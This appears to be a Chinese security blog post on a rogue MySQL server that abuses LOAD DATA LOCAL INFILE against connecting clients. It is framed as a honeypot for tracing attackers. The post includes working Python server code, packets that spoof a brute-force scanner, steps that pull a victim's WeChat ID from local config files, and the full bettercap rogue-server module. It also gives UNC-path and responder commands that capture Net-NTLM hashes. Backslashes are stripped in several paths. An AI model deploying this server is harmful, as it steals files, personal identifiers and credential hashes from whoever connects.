前言
前不久,零隊發(fā)了一篇《MySQL蜜罐獲取攻擊者微信ID》的文章,文章講述了如何通過load data local infile進行攻擊者微信ID的抓取,學習的過程中發(fā)現(xiàn)雖然問題是一個比較老的問題,但是擴展出來的很多知識都比較有意思,記錄一下。
分析過程
LOAD DATA INFILE
在MySQL中LOAD DATA INFILE 語句以非常高的速度從文本文件中讀取行到表中,基本語法如下:
load data [low_priority] [local] infile 'file_name txt' [replace | ignore]
into table tbl_name
[fields
[terminated by't']
[OPTIONALLY] enclosed by '']
[escaped by'' ]]
[lines terminated by'n']
[ignore number lines]
[(col_name, )]
這個功能默認是關(guān)閉的,當我們沒有開啟這個功能時執(zhí)行LOAD DATA INFILE報錯如下:
> 1148 - The used command is not allowed with this MySQL version
我們可以通過如下命令查看功能狀態(tài)。
show global variables like 'local_infile';
我們可以通過如下命令開啟該功能。
set global local_infile=1;
開啟之后我們就可以通過如下命令進行文件讀取并且寫入到表中,我們以C:1.txt為例,將其中內(nèi)容寫入到test表中,并且以n為分隔符。
load data local infile 'C:/1.txt' into table test fields terminated by 'n';
這樣我們就可以讀取客戶端本地的文件,并寫入到表中。
通信過程
接下來我們通過Wireshark抓取過程中的流量分析一下通信過程。
首先是Greeting包,返回了服務端的Version等信息。
接下來客戶端發(fā)送登錄請求。
接下來客戶端發(fā)送了如下請求:
SET NAMES utf8mb4SET NAMES utf8mb4
接下來我們執(zhí)行我們的payload
load data local infile 'C:/1.txt' into table test fields terminated by 'n';
首先客戶端發(fā)起請求;
之后服務端會回復一個Response TABULAR,其中包含請求文件名的包;
這里數(shù)據(jù)包我們要注意的地方如下:
如上圖,數(shù)據(jù)包中內(nèi)容如下:
09 00 00 01 fb 43 3a 2f 31 2e 74 78 74
這里的09指的是從fb開始十六進制的數(shù)據(jù)包中文件名的長度,00 00 01值得是數(shù)據(jù)包的序號,fb是包的類型,43 4a 2f 31 2e 74 78 74指的是文件名,接下來客戶端向服務端發(fā)送文件內(nèi)容的數(shù)據(jù)包。
任意文件讀取過程
在MySQL協(xié)議中,客戶端本身不存儲自身的請求,而是通過服務端的響應來執(zhí)行操作,也就是說我們?nèi)绻梢詡卧霨reeting包和偽造的文件名對應的數(shù)據(jù)包,我們就可以讓攻擊者的客戶端給我們把我們想要的文件拿過來,過程大致如下,首先我們將Greeting包發(fā)送給要連接的客戶端,這樣如果客戶端發(fā)送查詢之后,我們返回一個Response TABULAR數(shù)據(jù)包,并且附上我們指定的文件,我們也就完成了整個任意文件讀取的過程,接下來就是構(gòu)造兩個包的過程,首先是Greeting包,這里引用lightless師傅博客中的一個樣例。
'x0a', # Protocol
'6.6.6-lightless_Mysql_Server' + '', # Version
'x36x00x00x00', # Thread ID
'ABCDABCD' + '', # Salt
'xffxf7', # Capabilities, CLOSE SSL HERE!
'x08', # Collation
'x02x00', # Server Status
"x0fx80x15",
'' * 10, # Unknown
'ABCDABCD' + '',
"mysql_native_password" + ""
根據(jù)以上樣例,我們就可以方便的構(gòu)造Greeting包了,當然,這里我們也可以直接利用上面我們Wireshark抓取到的Greeting包,接下來就是Response TABULAR包了,包的格式上面我們分析過了,我們可以直接構(gòu)造如下Paylod
chr(len(filename) + 1) + "x00x00x01xFB" + filename
我們就可以對客戶端的指定文件進行讀取了,這里我們還缺少一個條件,RUSSIANSECURITY在博客中也提及過如下內(nèi)容。
For successfully exploitation you need at least one query to server. Fortunately most of mysql clients makes at least one query like ‘*SET names “utf8”* or something.
這是因為我們傳輸這個文件讀取的數(shù)據(jù)包時,需要等待一個來自客戶端的查詢請求才能回復這個讀文件的請求,也就是我們現(xiàn)在還需要一個來自客戶端的查詢請求,幸運的是,通過我們上面的分析我們可以看到,形如Navicat等客戶端進行連接的時候,會自動發(fā)送如下查詢請求。
SET NAMES utf8mb4
從查閱資料來看,大多數(shù)MySQL客戶端以及程序庫都會在握手之后至少發(fā)送一次請求,以探測目標平臺的指紋信息,例如:
select @@version_comment limit 1
這樣我們的利用條件也就滿足了,綜上,我們可以惡意模擬一個MySQL服務端的身份認證過程,之后等待客戶端發(fā)起一個SQL查詢,之后響應的時候我們將我們構(gòu)造的Response TABULAR發(fā)送給客戶端,也就是我們LOAD DATA INFILE的請求,這樣客戶端根據(jù)響應內(nèi)容執(zhí)行上傳本機文件的操作,我們也就獲得了攻擊者的文件信息,整體流程圖示如下:
我們可以用Python來簡單模擬一下這個過程:
import socket
serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
port = 3306
serversocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
serversocket.bind(("", port))
serversocket.listen(5)
while True:
# 建立客戶端連接
clientsocket,addr = serversocket.accept()
print("連接地址: %s" % str(addr))
# 返回版本信息
version_text = b"x4ax00x00x00x0ax38x2ex30x2ex31x32x00x08x00x00x00x2ax51x47x38x48x17x12x21x00xffxffxc0x02x00xffxc3x15x00x00x00x00x00x00x00x00x00x00x7ax6fx6ex25x61x3ex48x31x25x43x2bx61x00x6dx79x73x71x6cx5fx6ex61x74x69x76x65x5fx70x61x73x73x77x6fx72x64x00"
clientsocket.sendall(version_text)
try:
# 客戶端請求信息
clientsocket.recv(9999)
except Exception as e:
print(e)
# Response OK
verification = b"x07x00x00x02x00x00x00x02x00x00x00"
clientsocket.sendall(verification)
try:
# SET NAMES utf8mb4
clientsocket.recv(9999)
except Exception as e:
print(e)
# Response TABULAR
evil_response = b"x09x00x00x01xfbx43x3ax2fx31x2ex74x78x74"
clientsocket.sendall(evil_response)
# file_text
print(clientsocket.recv(9999))
clientsocket.close()
我們可以看到,當攻擊者鏈接我們構(gòu)造的蜜罐時,我們成功抓取到了攻擊者C:/1.txt文件中的內(nèi)容,接下來就是對任意文件的構(gòu)造,我們上面也分析了Response TABULAR數(shù)據(jù)包的格式,因此我們只需要對我們的文件名進行構(gòu)造即可,這里不再贅述。
chr(len(filename) + 1) + "x00x00x01xFB" + filename
欺騙掃描器
接下來一個主要問題就是讓攻擊者的掃描器發(fā)現(xiàn)我們是弱口令才行,這樣他才有可能連接,所以還需要分析一下掃描器的通信過程,這里以SNETCracker為例。
首先還是分析通信過程,首先還是Greeting包,返回版本信息等。
之后客戶端向服務端發(fā)送請求登錄的數(shù)據(jù)包。
接下來服務端向客戶端返回驗證成功的數(shù)據(jù)包。
從上面流程上來說,其實檢查口令的部分已經(jīng)結(jié)束了,但是這個軟件本身還進行了下面的進一步判斷,當下面判斷條件也成立時,才會認為成功爆破了MySQL,接下來查看系統(tǒng)變量以及相應的值。
SHOW VARIABLES
服務端返回響應包后,繼續(xù)查看警告信息。
SHOW WARNINGS
服務端返回響應包后,繼續(xù)查看所有排列字符集。
SHOW COLLATION
到這里,如果我們偽造的蜜罐都可以返回相應的響應包,這時候SNETCracker就可以判斷弱口令存在,并正常識別了,我們使用Python模擬一下整個過程。
import socket
serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
port = 3306
serversocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
serversocket.bind(("", port))
serversocket.listen(5)
# 建立客戶端連接
clientsocket,addr = serversocket.accept()
print("連接地址: %s" % str(addr))
# 返回版本信息
version_text = b"x4ax00x00x00x0ax38x2ex30x2ex31x32x00x08x00x00x00x34x58x29x37x38x2fx6dx20x00xffxffxc0x02x00xffxc3x15x00x00x00x00x00x00x00x00x00x00x16x1fx07x48x54x56x3fx1ex15x2ax58x59x00x6dx79x73x71x6cx5fx6ex61x74x69x76x65x5fx70x61x73x73x77x6fx72x64x00"
clientsocket.sendall(version_text)
print(clientsocket.recv(9999))
verification = b"x07x00x00x02x00x00x00x02x00x00x00"
clientsocket.sendall(verification)
print(clientsocket.recv(9999))
show_variables = b'太長了,已經(jīng)省略'
clientsocket.sendall(show_variables)
print(clientsocket.recv(9999))
show_warnings = b"x01x00x00x01x03x1bx00x00x02x03x64x65x66x00x00x00x05x4cx65x76x65x6cx00x0cx08x00x07x00x00x00xfdx01x00x1fx00x00x1ax00x00x03x03x64x65x66x00x00x00x04x43x6fx64x65x00x0cx3fx00x04x00x00x00x03xa1x00x00x00x00x1dx00x00x04x03x64x65x66x00x00x00x07x4dx65x73x73x61x67x65x00x0cx08x00x00x02x00x00xfdx01x00x1fx00x00x05x00x00x05xfex00x00x02x00x68x00x00x06x07x57x61x72x6ex69x6ex67x04x31x33x36x36x5ax49x6ex63x6fx72x72x65x63x74x20x73x74x72x69x6ex67x20x76x61x6cx75x65x3ax20x27x5cx78x44x36x5cx78x44x30x5cx78x42x39x5cx78x46x41x5cx78x42x31x5cx78x45x41x2ex2ex2ex27x20x66x6fx72x20x63x6fx6cx75x6dx6ex20x27x56x41x52x49x41x42x4cx45x5fx56x41x4cx55x45x27x20x61x74x20x72x6fx77x20x31x05x00x00x07xfex00x00x02x00"
clientsocket.sendall(show_warnings)
print(clientsocket.recv(9999))
show_collation = b'太長了,已經(jīng)省略'
clientsocket.sendall(show_collation)
print(clientsocket.recv(9999))
至此我們欺騙掃描器的過程已經(jīng)結(jié)束,攻擊者已經(jīng)可以“快速”的掃描到我們的蜜罐了,只要他進行連接,我們就可以按照上面的方法來讀取他電腦上的文件了。
獲取微信
如果我們想進行溯源,就需要獲取一些能證明攻擊者身份信息的文件,而且這些文件需要位置類型固定,從而我們能方便的進行獲取,從而進行進一步的調(diào)查反制。
alexo0師傅在文章中提到過關(guān)于微信的抓取:
windows下,微信默認的配置文件放在C:UsersusernameDocumentsWeChat Files中,在里面翻翻能夠發(fā)現(xiàn) C:UsersusernameDocumentsWeChat FilesAll Usersconfigconfig.data 中含有微信ID,而獲取這個文件還需要一個條件,那就是要知道攻擊者的電腦用戶名,用戶名一般有可能出現(xiàn)在一些日志文件里,我們需要尋找一些比較通用、文件名固定的文件。經(jīng)過測試,發(fā)現(xiàn)一般用過一段時間的電腦在 C:WindowsPFRO.log 中較大幾率能找到用戶名。
通過以上條件我們就能獲得攻擊者的wxid了,接下來就是如何將wxid轉(zhuǎn)換為二維碼方便我們掃描,通過資料得知方法如下:
weixin://contacts/profile/{wxid}
將相應wxid填入上述字符串后,再對字符串轉(zhuǎn)換成二維碼,之后使用Android/ target=_blank class=infotextkey>安卓端微信進行掃碼即可,可以使用如下函數(shù)進行二維碼生成:
import qrcode
from PIL import Image
import os
# 生成二維碼圖片
# 參數(shù)為wxid和二維碼要保存的文件名
def make_qr(str,save):
qr=qrcode.QRCode(
version=4, #生成二維碼尺寸的大小 1-40 1:21*21(21+(n-1)*4)
error_correction=qrcode.constants.ERROR_CORRECT_M, #L:7% M:15% Q:25% H:30%
box_size=10, #每個格子的像素大小
border=2, #邊框的格子寬度大小
)
qr.add_data(str)
qr.make(fit=True)
img=qr.make_image()
img.save(save)
# 讀取到的wxid
wxid = ''
qr_id = 'weixin://contacts/profile/' + wxid
make_qr(qr_id,'demo.jpg')
這樣,我們組合上面的過程,就可以通過正則首先獲得用戶username
re.findall( r'.*C:\Users\(.*?)\AppData\Local\.*', result)
之后再將獲得的username進行拼接,獲取到攻擊者的微信配置文件:
C:Users{username}DocumentsWeChat FilesAll Usersconfigconfig.data
最后再正則獲得其中的wxid,并且利用上述函數(shù)轉(zhuǎn)換為二維碼即可,這樣當攻擊者掃描到我們的蜜罐之后,進行連接,我們就可以抓取到攻擊者的wxid,并生成二維碼了。
至此,我們構(gòu)建的蜜罐已經(jīng)將攻擊者的微信給我們帶回來了。
NTLM HASH
我們知道,NTLM認證采用質(zhì)詢/應答的消息交換模式,流程如下:
- 客戶端向服務器發(fā)送一個請求,請求中包含明文的登錄用戶名。服務器會提前存儲登錄用戶名和對應的密碼hash;
- 服務器接收到請求后,生成一個16位的隨機數(shù)(這個隨機數(shù)被稱為Challenge),明文發(fā)送回客戶端。使用存儲的登錄用戶密碼hash加密Challenge,獲得Challenge1;
- 客戶端接收到Challenge后,使用登錄用戶的密碼hash對Challenge加密,獲得Challenge2(這個結(jié)果被稱為response),將response發(fā)送給服務器;
- 服務器接收客戶端加密后的response,比較Challenge1和response,如果相同,驗證成功。
在以上流程中,登錄用戶的密碼hash即NTLM hash,response中包含Net-NTLM hash,而對于SMB協(xié)議來說,客戶端連接服務端的時候,會優(yōu)先使用本機的用戶名和密碼hash來進行登錄嘗試,而INFILE又支持UNC路徑,組合這兩點我們就能通過構(gòu)造一個惡意的MySQL服務器,Bettercap本身已經(jīng)集成了一個惡意MySQL服務器,代碼如下:
package mysql_server
import (
"bufio"
"bytes"
"fmt"
"io/ioutil"
"net"
"strings"
"github.com/bettercap/bettercap/packets"
"github.com/bettercap/bettercap/session"
"github.com/evilsocket/islazy/tui"
)
type MySQLServer struct {
session.SessionModule
address *net.TCPAddr
listener *net.TCPListener
infile string
outfile string
}
func NewMySQLServer(s *session.Session) *MySQLServer {
mod := &MySQLServer{
SessionModule: session.NewSessionModule("mysql.server", s),
}
mod.AddParam(session.NewStringParameter("mysql.server.infile",
"/etc/passwd",
"",
"File you want to read. UNC paths are also supported."))
mod.AddParam(session.NewStringParameter("mysql.server.outfile",
"",
"",
"If filled, the INFILE buffer will be saved to this path instead of being logged."))
mod.AddParam(session.NewStringParameter("mysql.server.address",
session.ParamIfaceAddress,
session.IPv4Validator,
"Address to bind the mysql server to."))
mod.AddParam(session.NewIntParameter("mysql.server.port",
"3306",
"Port to bind the mysql server to."))
mod.AddHandler(session.NewModuleHandler("mysql.server on", "",
"Start mysql server.",
func(args []string) error {
return mod.Start()
}))
mod.AddHandler(session.NewModuleHandler("mysql.server off", "",
"Stop mysql server.",
func(args []string) error {
return mod.Stop()
}))
return mod
}
func (mod *MySQLServer) Name() string {
return "mysql.server"
}
func (mod *MySQLServer) Description() string {
return "A simple Rogue MySQL server, to be used to exploit LOCAL INFILE and read arbitrary files from the client."
}
func (mod *MySQLServer) Author() string {
return "Bernardo Rodrigues (https://twitter.com/bernardomr)"
}
func (mod *MySQLServer) Configure() error {
var err error
var address string
var port int
if mod.Running() {
return session.ErrAlreadyStarted(mod.Name())
} else if err, mod.infile = mod.StringParam("mysql.server.infile"); err != nil {
return err
} else if err, mod.outfile = mod.StringParam("mysql.server.outfile"); err != nil {
return err
} else if err, address = mod.StringParam("mysql.server.address"); err != nil {
return err
} else if err, port = mod.IntParam("mysql.server.port"); err != nil {
return err
} else if mod.address, err = net.ResolveTCPAddr("tcp", fmt.Sprintf("%s:%d", address, port)); err != nil {
return err
} else if mod.listener, err = net.ListenTCP("tcp", mod.address); err != nil {
return err
}
return nil
}
func (mod *MySQLServer) Start() error {
if err := mod.Configure(); err != nil {
return err
}
return mod.SetRunning(true, func() {
mod.Info("server starting on address %s", mod.address)
for mod.Running() {
if conn, err := mod.listener.AcceptTCP(); err != nil {
mod.Warning("error while accepting tcp connection: %s", err)
continue
} else {
defer conn.Close()
// TODO: include binary support and files > 16kb
clientAddress := strings.Split(conn.RemoteAddr().String(), ":")[0]
readBuffer := make([]byte, 16384)
reader := bufio.NewReader(conn)
read := 0
mod.Info("connection from %s", clientAddress)
if _, err := conn.Write(packets.MySQLGreeting); err != nil {
mod.Warning("error while writing server greeting: %s", err)
continue
} else if _, err = reader.Read(readBuffer); err != nil {
mod.Warning("error while reading client message: %s", err)
continue
}
// parse client capabilities and validate connection
// TODO: parse mysql connections properly and
// display additional connection attributes
capabilities := fmt.Sprintf("%08b", (int(uint32(readBuffer[4]) | uint32(readBuffer[5])<<8)))
loadData := string(capabilities[8])
username := string(bytes.Split(readBuffer[36:], []byte{0})[0])
mod.Info("can use LOAD DATA LOCAL: %s", loadData)
mod.Info("login request username: %s", tui.Bold(username))
if _, err := conn.Write(packets.MySQLFirstResponseoK); err != nil {
mod.Warning("error while writing server first response ok: %s", err)
continue
} else if _, err := reader.Read(readBuffer); err != nil {
mod.Warning("error while reading client message: %s", err)
continue
} else if _, err := conn.Write(packets.MySQLGetFile(mod.infile)); err != nil {
mod.Warning("error while writing server get file request: %s", err)
continue
} else if read, err = reader.Read(readBuffer); err != nil {
mod.Warning("error while readind buffer: %s", err)
continue
}
if strings.HasPrefix(mod.infile, "\") {
mod.Info("NTLM from '%s' relayed to %s", clientAddress, mod.infile)
} else if fileSize := read - 9; fileSize < 4 {
mod.Warning("unexpected buffer size %d", read)
} else {
mod.Info("read file ( %s ) is %d bytes", mod.infile, fileSize)
fileData := readBuffer[4 : read-4]
if mod.outfile == "" {
mod.Info("n%s", string(fileData))
} else {
mod.Info("saving to %s ...", mod.outfile)
if err := ioutil.WriteFile(mod.outfile, fileData, 0755); err != nil {
mod.Warning("error while saving the file: %s", err)
}
}
}
conn.Write(packets.MySQLSecondResponseOK)
}
}
})
}
func (mod *MySQLServer) Stop() error {
return mod.SetRunning(false, func() {
defer mod.listener.Close()
})
}
通過查閱文檔,我們可以看到相關(guān)參數(shù)的設置如下:
我們這里將我們的mysql.server.infile設置成UNC路徑。
set mysql.server.infile \192.168.165.128test; mysql.server on
并且通過responder進行監(jiān)聽。
responder --interface eth0 -i 192.168.231.153
當攻擊者使用客戶端連接我們的惡意服務器時,
我們就成功的截獲了NTLM的相關(guān)信息。